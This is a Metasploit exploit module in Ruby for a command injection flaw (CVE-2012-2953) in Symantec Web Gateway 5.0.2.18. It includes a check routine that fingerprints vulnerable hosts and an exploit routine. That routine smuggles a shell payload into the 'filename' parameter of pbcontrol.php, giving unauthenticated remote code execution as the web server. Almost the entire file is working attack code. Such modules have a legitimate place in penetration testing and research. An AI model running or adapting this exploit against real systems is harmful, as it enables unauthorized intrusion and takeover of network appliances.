Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection",
   'Description'    => %q{
     This module exploits a command injection vulnerability found in Symantec Web
    Gateway's HTTP service.  While handling the filename parameter, the Spywall API
    does not do any filtering before passing it to an exec() call in proxy_file(),
    thus results in remote code execution under the context of the web server. Please
    note authentication is NOT needed to gain access.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'muts',  # Original discovery
     'sinn3r' # Metasploit
    ],
   'References'     =>
    [
     [ 'CVE', '2012-2953' ],
     [ 'BID', '54426' ],
     [ 'EDB', '20088' ],
     [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00']
    ],
   'Payload'        =>
    {
     #'BadChars' => "\x00\x0d\x0a",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl bash telnet'
      }
    },
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     ['Symantec Web Gateway 5.0.2.18', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Jul 23 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php'])
   ], self.class)
 end

 def check
  dir = File.dirname(target_uri.path)

  res1 = send_request_raw({'uri' => "#{dir}/login.php"})
  res2 = send_request_raw({'uri' => "#{dir}/pbcontrol.php"})

  if res1 and res2
   if res1.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/
    return Exploit::CheckCode::Detected
   end
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  send_request_cgi({
   'uri'      => target_uri.path,
   'method'   => 'GET',
   'vars_get' => {
    'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"",
    'stage' => '0'
   }
  })

  handler
 end

end